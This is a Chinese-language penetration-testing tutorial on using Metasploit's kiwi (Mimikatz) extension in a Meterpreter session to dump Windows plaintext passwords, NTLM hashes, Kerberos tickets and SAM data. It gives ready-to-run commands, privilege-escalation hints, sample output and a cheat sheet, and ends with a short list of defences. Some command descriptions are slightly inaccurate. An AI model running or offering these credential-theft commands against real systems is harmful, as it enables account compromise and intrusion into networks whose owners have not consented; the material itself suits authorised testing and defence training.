实战指南:高效利用Metasploit的kiwi模块获取Windows凭证
在渗透测试的实战环境中,获取目标系统的凭证往往是突破内网防线的关键一步。对于刚接触Metasploit框架的安全从业者来说,面对众多模块和命令选项常常感到无从下手。本文将聚焦kiwi模块这一强大工具,通过实战场景拆解,帮助您快速掌握获取Windows系统明文密码的核心技巧。
1. 理解kiwi模块的工作原理
kiwi模块实际上是Metasploit对著名工具Mimikatz的封装实现。Mimikatz由法国安全研究员Benjamin Delpy开发,能够直接从Windows系统的内存中提取明文密码、哈希值、票据等敏感信息。kiwi模块将这些功能集成到Metasploit框架中,使得渗透测试人员可以在Meterpreter会话中直接调用这些功能。
为什么Windows系统会存在明文密码?这源于Windows的WDigest和TSPkg认证机制。从Windows 8.1和Server 2012 R2开始,微软默认禁用了WDigest中存储明文密码的功能,但在某些配置下或通过修改注册表,攻击者仍可能获取到明文凭证。
kiwi模块的优势在于:
- 直接集成在Metasploit中,无需额外上传文件
- 支持多种凭证获取方式
- 可以绕过部分杀毒软件的检测
- 提供丰富的命令选项满足不同场景需求
2. 前期准备与环境检查
在使用kiwi模块前,需要确保满足以下几个条件:
- 获取Meterpreter会话:已经通过漏洞利用或其他方式获得了目标系统的Meterpreter会话
- 权限验证:检查当前会话的权限级别
- 目标系统兼容性:确认目标系统是否支持kiwi模块的功能
2.1 验证当前会话权限
在Meterpreter会话中,执行以下命令检查权限:
getuid如果返回的结果显示不是NT AUTHORITY\SYSTEM,则需要尝试提权:
getsystem提示:kiwi模块的某些功能需要SYSTEM权限才能完整执行,如果提权失败,可以尝试使用bypassuac等模块先绕过UAC。
2.2 检查目标系统架构
kiwi模块对32位和64位系统的支持略有不同,建议先确认目标系统架构:
sysinfo在输出中查看Architecture字段,确认是x86还是x64。
3. kiwi模块的核心命令实战
加载kiwi模块非常简单,在Meterpreter会话中执行:
load kiwi成功加载后,可以使用help命令查看所有可用命令:
kiwi_cmd help3.1 获取所有可用凭证
最常用的命令是获取系统中存储的所有凭证:
creds_all这个命令会尝试获取以下信息:
- 明文密码
- NTLM哈希
- Kerberos票据
- 缓存的域凭证
典型输出示例:
[+] 检索到以下凭证: 用户名: Administrator 域名: CORPDOMAIN 密码: P@ssw0rd123 用户名: BackupUser 域名: CORPDOMAIN NTLM哈希: aad3b435b51404eeaad3b435b51404ee3.2 高级命令kiwi_cmd的使用
kiwi_cmd命令允许直接调用Mimikatz的原生命令,功能更为强大。常用的一些命令包括:
获取所有用户的明文密码:
kiwi_cmd sekurlsa::logonpasswords导出所有Kerberos票据:
kiwi_cmd kerberos::list /export获取系统缓存的域凭证:
kiwi_cmd sekurlsa::tickets /export3.3 特定场景下的命令选择
根据不同的渗透场景,可以选择不同的命令组合:
场景1:快速获取所有可用凭证
creds_all场景2:需要详细调试信息
kiwi_cmd sekurlsa::logonpasswords full场景3:只获取特定用户的凭证
kiwi_cmd sekurlsa::minidump user.dmp kiwi_cmd sekurlsa::logonpasswords user.dmp4. 实战技巧与问题排查
4.1 绕过内存保护机制
现代Windows系统通常启用了内存保护机制,如LSASS保护。在这种情况下,可以尝试以下方法:
- 创建LSASS进程的内存转储:
kiwi_cmd sekurlsa::minidump lsass.dmp- 在本地分析转储文件:
kiwi_cmd sekurlsa::logonpasswords lsass.dmp4.2 处理常见错误
错误1:模块加载失败
[-] Failed to load extension: kiwi解决方案:确保使用的是完整版的Metasploit,或者尝试重新安装kiwi扩展。
错误2:权限不足
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)解决方案:获取SYSTEM权限后再试,或者使用其他提权方法。
错误3:命令执行失败
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list解决方案:可能是目标系统版本不支持,尝试更新kiwi模块或使用替代方法。
4.3 凭证导出与管理
获取到的凭证可以导出到Metasploit的数据库中便于后续使用:
creds -a这将把所有获取到的凭证添加到Metasploit的凭证数据库中,可以在其他模块中直接调用。
5. 安全防护建议
从防御角度,可以采取以下措施防止kiwi模块的攻击:
启用LSASS保护:
- 配置Windows Defender安全中心中的"Credential Guard"
- 启用"LSA保护"策略
限制特权账户使用:
- 遵循最小权限原则
- 避免在多个系统使用相同凭证
监控异常行为:
- 设置对LSASS进程的访问警报
- 监控异常的网络认证尝试
定期更新系统:
- 及时安装安全补丁
- 禁用过时的认证协议
6. 命令速查表
以下是kiwi模块最常用的命令速查表:
| 命令 | 功能描述 | 适用场景 |
|---|---|---|
creds_all | 获取所有可用凭证 | 快速收集凭证 |
kiwi_cmd sekurlsa::logonpasswords | 获取明文密码 | 详细凭证分析 |
kiwi_cmd kerberos::list /export | 导出Kerberos票据 | 黄金票据攻击 |
kiwi_cmd lsadump::sam | 获取SAM数据库内容 | 本地账户破解 |
kiwi_cmd token::elevate | 提升令牌权限 | 权限提升 |
kiwi_cmd crypto::certificates | 列出系统证书 | 证书窃取 |
在实际渗透测试中,根据目标环境的不同,可能需要尝试多种命令组合才能获取到有价值的凭证。建议在测试环境中多练习这些命令,熟悉它们的输出格式和使用场景。